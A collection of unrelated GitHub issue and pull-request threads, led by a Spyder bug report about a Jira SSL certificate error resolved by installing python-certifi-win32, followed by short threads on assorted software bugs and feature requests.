WARNING:root:Got ConnectionError [HTTPSConnectionPool(host='jira.company.com', port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1051)')))] errno:None on GET https://jira.company.com:444/rest/api/2/serverInfo
{'response': None, 'request': <PreparedRequest [GET]>}
{'response': None, 'request': <PreparedRequest [GET]>}
WARNING:root:Got recoverable error from GET https://jira.company.com:444/rest/api/2/serverInfo, will retry [1/3] in 12.00957322719334s. Err: HTTPSConnectionPool(host='jira.company.com', port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1051)')))
Traceback (most recent call last):

  File "C:\Users\desktop\JiraConnection.py", line 6, in <module>
    jira_instance = JIRA(server = server, basic_auth=(usrnme, pwd))

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line 506, in __init__
    si = self.server_info()

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line 2551, in server_info
    j = self._get_json("serverInfo")

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line 3139, in _get_json
    r = self._session.get(url, params=params)

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line 172, in get
    return self.__verb("GET", url, **kwargs)

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line 156, in __verb
    response_or_exception, url, verb.upper(), retry_number

  File "C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line 120, in __recoverable
    logging.debug("response.headers: %s", response.headers)

AttributeError: 'SSLError' object has no attribute 'headers'

Versions

Spyder version: 5.0.0 64-bit
Python version: 3.7.1
Qt version: 5.9.6
PyQt version: 5.9.2
Operating System name/version: Win 10

Dependencies

# Mandatory:
atomicwrites >=1.2.0          :  1.2.1 (OK)
chardet >=2.0.0               :  3.0.4 (OK)
cloudpickle >=0.5.0           :  0.6.1 (OK)
cookiecutter >=1.6.0          :  1.7.2 (OK)
diff_match_patch >=20181111   :  20200713 (OK)
intervaltree >=3.0.2          :  3.1.0 (OK)
IPython >=7.6.0               :  7.22.0 (OK)
jedi =0.17.2                  :  0.17.2 (OK)
jsonschema >=3.2.0            :  3.2.0 (OK)
keyring >=17.0.0              :  17.0.0 (OK)
nbconvert >=4.0               :  5.4.0 (OK)
numpydoc >=0.6.0              :  0.8.0 (OK)
paramiko >=2.4.0              :  2.4.2 (OK)
parso =0.7.0                  :  0.7.0 (OK)
pexpect >=4.4.0               :  4.8.0 (OK)
pickleshare >=0.4             :  0.7.5 (OK)
psutil >=5.3                  :  5.4.8 (OK)
pygments >=2.0                :  2.3.1 (OK)
pylint >=1.0                  :  2.8.3 (OK)
pyls >=0.36.2;<1.0.0          :  0.36.2 (OK)
pyls_black >=0.4.6            :  0.4.6 (OK)
pyls_spyder >=0.3.2           :  0.3.2 (OK)
qdarkstyle =3.0.2             :  3.0.2 (OK)
qstylizer >=0.1.10            :  0.1.10 (OK)
qtawesome >=0.5.7             :  1.0.2 (OK)
qtconsole >=5.0.3             :  5.1.0 (OK)
qtpy >=1.5.0                  :  1.5.2 (OK)
rtree >=0.8.3                 :  0.9.7 (OK)
setuptools >=39.0.0           :  57.0.0 (OK)
sphinx >=0.6.6                :  1.8.2 (OK)
spyder_kernels >=2.0.1;<2.1.0 :  2.0.3 (OK)
textdistance >=4.2.0          :  4.2.1 (OK)
three_merge >=0.1.1           :  0.1.1 (OK)
watchdog >=0.10.3;<2.0.0      :  1.0.2 (OK)
zmq >=17                      :  17.1.2 (OK)

# Optional:
cython >=0.21                 :  0.29.2 (OK)
matplotlib >=2.0.0            :  3.0.2 (OK)
numpy >=1.7                   :  1.15.4 (OK)
pandas >=1.1.1                :  0.23.4 (NOK)
scipy >=0.17.0                :  1.1.0 (OK)
sympy >=0.7.3                 :  1.3 (OK)

Hey @krishtej23, thanks for reporting. This looks like a problem with your code and not with Spyder.
Are you able to run your code outside Spyder? I mean, for instance, by opening the Anaconda Prompt and running the following command there
python C:\Users\desktop\JiraConnection.py

Please do that and let us if the error persists or not.

Hey Carlos.
Yes, I checked in Anaconda Prompt now and it worked smoothly and as
expected.
With regards,
Krishna Teja.
On Mon, Jun 14, 2021 at 11:38 AM Carlos Cordoba @.***>
wrote:

Hey @krishtej23 https://github.com/krishtej23, thanks for reporting.
This looks like a problem with your code and not with Spyder.
Are you able to run your code outside Spyder? I mean, for instance, by
opening the Anaconda Prompt and running the following command there
python C:\Users\desktop\JiraConnection.py
Please do that and let us if the error persists or not.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/spyder-ide/spyder/issues/15846#issuecomment-860826491,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACHVYEOFLUN2REDPNZED3CDTSYV7HANCNFSM46ROXUJA
.

So could you test in Spyder again? Just to be sure that it works (or not) for you there too.

No luck, same error:
WARNING:root:HTTPSConnectionPool(host='jira.company.com', port=444): Max
retries exceeded with url: /rest/api/2/serverInfo (Caused by
SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self signed certificate in certificate chain
(_ssl.c:1051)'))) while doing GET
https://jira.company.com:444/rest/api/2/serverInfo [{'params': None,
'headers': {'User-Agent': 'python-requests/2.25.1', 'Accept-Encoding':
'gzip, deflate', 'Accept': 'application/json,.;q=0.9', 'Connection':
'keep-alive', 'Cache-Control': 'no-cache', 'Content-Type':
'application/json', 'X-Atlassian-Token': 'no-check'}}]
WARNING:root:Got ConnectionError [HTTPSConnectionPool(host='jira.company.com',
port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by
SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self signed certificate in certificate chain
(_ssl.c:1051)')))] errno:None on GET
https://jira.company.com:444/rest/api/2/serverInfo
{'response': None, 'request': <PreparedRequest [GET]>}
{'response': None, 'request': <PreparedRequest [GET]>}
WARNING:root:Got recoverable error from GET
https://jira.company.com:444/rest/api/2/serverInfo, will retry [1/3] in
3.399093183865971s. Err: HTTPSConnectionPool(host='jira.company.com',
port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by
SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self signed certificate in certificate chain
(_ssl.c:1051)')))
Traceback (most recent call last):
File "C:\Users\desktop\JiraConnection.py", line 6, in
jira_instance = JIRA(server = server, basic_auth=(usrnme, pwd))
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
506, in init
si = self.server_info()
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
2551, in server_info
j = self._get_json("serverInfo")
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
3139, in _get_json
r = self._session.get(url, params=params)
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
172, in get
return self.__verb("GET", url, **kwargs)
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
156, in __verb
response_or_exception, url, verb.upper(), retry_number
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
120, in __recoverable
logging.debug("response.headers: %s", response.headers)
AttributeError: 'SSLError' object has no attribute 'headers'
With regards,
Krishna Teja.
On Mon, Jun 14, 2021 at 12:42 PM Carlos Cordoba @.***>
wrote:

[image: Boxbe] https://www.boxbe.com/overview Carlos Cordoba (
@.***) is not on your Guest List
https://www.boxbe.com/approved-list?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
| Approve sender
https://www.boxbe.com/anno?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
| Approve domain
https://www.boxbe.com/anno?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&dom&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
So could you test in Spyder again? Just to be sure that it works (or not)
for you there too.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/spyder-ide/spyder/issues/15846#issuecomment-860865731,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACHVYEL7RXWYB37CXWPCQ3TTSY44TANCNFSM46ROXUJA
.

Carlos,
I rechecked the Anaconda prompt and my mistake is that I ran the file as "
*py *C:\Users\desktop\JiraConnection.py" instead of "*python *
C:\Users\desktop\JiraConnection.py". I apologize. So with "py" in anaconda
prompt code is working fine but with "python" it is not.
I get this in python of anaconda prompt:

import sys
print(sys.prefix)
C:\ProgramData\Anaconda3

I get this in py of win powershell:

import sys
print(sys.prefix)
C:\Users\krish\AppData\Local\Programs\Python\Python39

With regards,
Krishna Teja.
On Mon, Jun 14, 2021 at 1:50 PM krishna teja @.***> wrote:

No luck, same error:
WARNING:root:HTTPSConnectionPool(host='jira.company.com', port=444): Max
retries exceeded with url: /rest/api/2/serverInfo (Caused by
SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self signed certificate in certificate chain
(_ssl.c:1051)'))) while doing GET
https://jira.company.com:444/rest/api/2/serverInfo [{'params': None,
'headers': {'User-Agent': 'python-requests/2.25.1', 'Accept-Encoding':
'gzip, deflate', 'Accept': 'application/json,.;q=0.9', 'Connection':
'keep-alive', 'Cache-Control': 'no-cache', 'Content-Type':
'application/json', 'X-Atlassian-Token': 'no-check'}}]
WARNING:root:Got ConnectionError [HTTPSConnectionPool(host='
jira.company.com', port=444): Max retries exceeded with url:
/rest/api/2/serverInfo (Caused by SSLError(SSLCertVerificationError(1,
'[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed
certificate in certificate chain (_ssl.c:1051)')))] errno:None on GET
https://jira.company.com:444/rest/api/2/serverInfo
{'response': None, 'request': <PreparedRequest [GET]>}
{'response': None, 'request': <PreparedRequest [GET]>}
WARNING:root:Got recoverable error from GET
https://jira.company.com:444/rest/api/2/serverInfo, will retry [1/3] in
3.399093183865971s. Err: HTTPSConnectionPool(host='jira.company.com',
port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by
SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self signed certificate in certificate chain
(_ssl.c:1051)')))
Traceback (most recent call last):
File "C:\Users\desktop\JiraConnection.py", line 6, in
jira_instance = JIRA(server = server, basic_auth=(usrnme, pwd))
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
506, in init
si = self.server_info()
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
2551, in server_info
j = self._get_json("serverInfo")
File "C:\ProgramData\Anaconda3\lib\site-packages\jira\client.py", line
3139, in _get_json
r = self._session.get(url, params=params)
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
172, in get
return self.__verb("GET", url, **kwargs)
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
156, in __verb
response_or_exception, url, verb.upper(), retry_number
File
"C:\ProgramData\Anaconda3\lib\site-packages\jira\resilientsession.py", line
120, in __recoverable
logging.debug("response.headers: %s", response.headers)
AttributeError: 'SSLError' object has no attribute 'headers'
With regards,
Krishna Teja.
On Mon, Jun 14, 2021 at 12:42 PM Carlos Cordoba @.***>
wrote:

[image: Boxbe] https://www.boxbe.com/overview Carlos Cordoba (
@.***) is not on your Guest List
https://www.boxbe.com/approved-list?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
| Approve sender
https://www.boxbe.com/anno?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
| Approve domain
https://www.boxbe.com/anno?tc_serial=55123907406&tc_rand=1913122816&utm_source=stf&utm_medium=email&utm_campaign=ANNO_MWTP&utm_content=001&&dom&key=3V694weqNYpFp8u0RwBWLH%2FJgtRTbiY9GJUytCqq4nA%3D&token=wHGvshsVTIoOyskzPjvIpu3syGnxP%2Fj%2B2iJ3%2BUmXGGDh77sNJ9tz9pXxUfuHaP2t
So could you test in Spyder again? Just to be sure that it works (or not)
for you there too.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/spyder-ide/spyder/issues/15846#issuecomment-860865731,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACHVYEL7RXWYB37CXWPCQ3TTSY44TANCNFSM46ROXUJA
.

Carlos,
So similar to "python-certifi-win32" installation, I used "conda install -c conda-forge python-certifi-win32" from https://anaconda.org/conda-forge/python-certifi-win32 and there is NO error.
Both Spyder and Anaconda Prompt had no issues.

Great! I'm really glad you were finally able to solve this problem.

Carlos,
Is there a way or may be guide me in packaging this python-certifi-win32 in an executable created by PyInstaller? I created an executable using PyInstaller and when I run it, I get the same SSLError again. Thanks.

Sorry, I don't know about that.


error in basic search

search in monoclonal work good with this file from X+. Files in attachment
AAV_denovo_X_50.csv
basicAAV.txt

Thanks for raising the issue! I am sorry for the crash, the issue is that the file you specified in the segment (../datasets/report-monoclonal.fasta) does not exist. After this error the code is left in a broken state and tries to detect other ways in which parsing can go wrong which leads it to this crash.
If this does not fix your problem please let me know. I will take a look if this error is still in my development version and fix it there if applicable.

I just checked and the development version has this issue already patched. If you want you could move to this version, which also contains some other improvements. (Please note that the command line interface has changed, you now have to type stitch run <file> instead of stitch <file>).
The nightly version can be found on the github actions tab and then pick the latest one, scroll down and get the version for your architecture.


Nuke Build

Nice you got it working?

https://github.com/ChilliCream/hotchocolate/pull/2022/files#diff-59e0edad022bbe7671d672e92eb05e03R798-R809
You should not have active build configurations for the build project.


More items than purchase records (i.e. unchosen items)

Thank you so much for the package.
In my setting I have more purchase records than there are items on the market, which means that some items are left unchosen.
I think this variation is important in estimating the choice model, but I do not see how this gets passed into ChoiceDataset object.
It seems like it is limiting item numbers to be the ones that are seen in the purchase record.
Is there a fix to this?
Thank you!

Hi Gi,
Thanks for reaching out.
Based on my understanding, you are facing the situation that, say in your data, you have 500 items indexed by 0, 1, ..., 499. However, some items, say 50, are never chosen (i.e., they never appear in the item_index array). In this case, you can specify num_items=500 in the initialization call of ChoiceDataset so that it knows there are 500 items.
Besides, if you are using item-specific, item-session-specific, or user-item-session-specific observable tensors, you still need to provide observable of these items never chosen. For instance, suppose you have 500 items in total and 50 items were never chosen, your item observable tensors should have shape (500, *) instead of (450, *)
Hope this helps and please let me know if you have further questions.

This totally works thank you!

Glad that it helps!


Using TableGateway::update() or TableGateway::delete() fails when table has an alias

This is a continuation of #7311, I should have been more precise with previous bug description for Insert.
For technical background please refer to #7311. I've verified the fix and it was correct for Insert, however, for Update and Delete - the behaviour is still buggy.
As @weierophinney investigated in #7311 Zend\Db\Sql\Sql::prepareStatementForSqlObject() should get unaliased table name from Zend\Db\TableGateway\AbstractTableGateway::executeUpdate()/executeDelete().
Technically, there are two approaches to the problem. While no flavour of SQL allows aliases for insert (at least AFAIK), some platforms do allow aliases in update and delete. It has a different syntax, but it works.
 Second is to use alternative syntax but it's not platfiorm agnostic (and I believe ZF2 maintains compatibility in DBAL).

This issue has been moved from the zendframework repository as part of the bug migration program as outlined here - http://framework.zend.com/blog/2016-04-11-issue-closures.html
New issue can be found at: https://github.com/zendframework/zend-db/issues/128


bugfix/NETEXP-1399:  Added Pagination for AP select in Auto-Provision page

JIRA: NETEXP-1399
Description
Summary of this PR
Added Pagination for AP select in Auto-Provision page
Before this PR
Screenshots of what it looked like before this PR
After this PR
Screenshots of what it will look like after this PR

tests fail

tests fail


Clean up types, use LogContext

Switch to LogContext and clean up type usage and imports.
Change-type: major
Signed-off-by: Josh Bowling<EMAIL_ADDRESS>
Still see some anys in here that could be dealt with.

@balena-ci rebase


#896 add optimized byte array serializer in default config

Comments are welcome but I'd like to wait for the perf results before this gets merged in.

test this please

test this pleasea

Any news on perf results? @lorban @skbansal


Maior Marso Created using Colaboratory

This Sprint Challenge will demonstrate how much I have learned form this course.

Not knowing if I uploaded the Sprint Challenge correctly, I am attempting a second time.

Followed directions from Ryan Allred to upload my colab notebook to Lambda


Missing the params.json

FileNotFoundError: [Errno 2] No such file or directory: 'Mistral-7B-Instruct-v0.2/params.json'
and I replace the params.json to config.json  but still lack of several params such like kv_cache dim etc.

Same here. Also, the model on huggingface has different names for w1/w2/w3 weights (up_proj, down_proj, gate_proj), and it's not documented anywhere. I guess the model from HF works with the Transformers library, but both this and MLX impl need fixing to use it.

Just add the different ones to your params.json file for w1/w2/w3 etc…

When you say different ones, you mean just add a bunch of random weights? Are these normalized between 0 and 1?


Let me save y'all some time, install these dependencies before installing WireGuard

If you try to run this script on a vanilla Debian or Ubuntu machine, you'll get errors that wg service is not found. Just run the following before you run the script and you will not face any issues running later:
sudo apt-get install libmnl-dev libelf-dev linux-headers-$(uname -r) build-essential pkg-config lsb-release iptables libmnl-dev libelf-dev linux-headers-$(uname -r) build-essential pkg-config libmnl-dev libelf-dev linux-headers-$(uname -r) build-essential pkg-config -y

Still not working
Building dependency tree
Reading state information... Done
build-essential is already the newest version (12.3).
libelf-dev is already the newest version (0.168-1).
iptables is already the newest version (1.6.0+snapshot20161117-6).
libmnl-dev is already the newest version (1.0.4-2).
lsb-release is already the newest version (9.20161125).
pkg-config is already the newest version (0.29-4+b1).
linux-headers-4.9.0-11-amd64 is already the newest version (4.9.189-3+deb9u2).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Still not working
Building dependency tree
Reading state information... Done
build-essential is already the newest version (12.3).
libelf-dev is already the newest version (0.168-1).
iptables is already the newest version (1.6.0+snapshot20161117-6).
libmnl-dev is already the newest version (1.0.4-2).
lsb-release is already the newest version (9.20161125).
pkg-config is already the newest version (0.29-4+b1).
linux-headers-4.9.0-11-amd64 is already the newest version (4.9.189-3+deb9u2).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

sudo systemctl start<EMAIL_ADDRESS>Job for<EMAIL_ADDRESS>failed because the control process exited with error code.
See "systemctl status<EMAIL_ADDRESS>and "journalctl -xe" for details.

Can you run "systemctl status<EMAIL_ADDRESS>and "journalctl -xe" and tell me what they say? What distro?


Updates URL for UpbeatUI

Recently moved this project to an organization. The old URL is still valid and will auto-forward, but updating for consistency.

Thanks for informing this, the page will be updated


Added filter based on language

Added filtering snippets based on Language. Implementation is similar to filtering by Category
Fixes #8

Is there any way to make language based filtering work in conjunction with Categories...
Like Data Structures -> Java
Though it raises the complexity level
Like it also does mean that it has to be disabled in case of Bash, AppScript, etc since they only use a single language

What are your thoughts on this...?

What are your thoughts on this...?

We can do that. We'll have to use query (search) params in order to do that instead of routes. All the code for the filtering will have to be changed for it

But then will it still work with SSG...?

But then will it still work with SSG...?

No. Search Params would require SSR.
An alternative would be adding the category and language to the classlist of each card and the use the buttons to hide all cards with the classes selected.
I'd be happy to help out with any of the mention solutions, you can merge this PR and I will create a new one.

Yes
Or using a combination of both, routes for categories & client side filtering for languages...
This way the number of cards will be somewhat reduced for filtering

I'd be happy to help out with any of the mention solutions, you can merge this PR and I will create a new one.

Yes, I'll merge this one & create another issue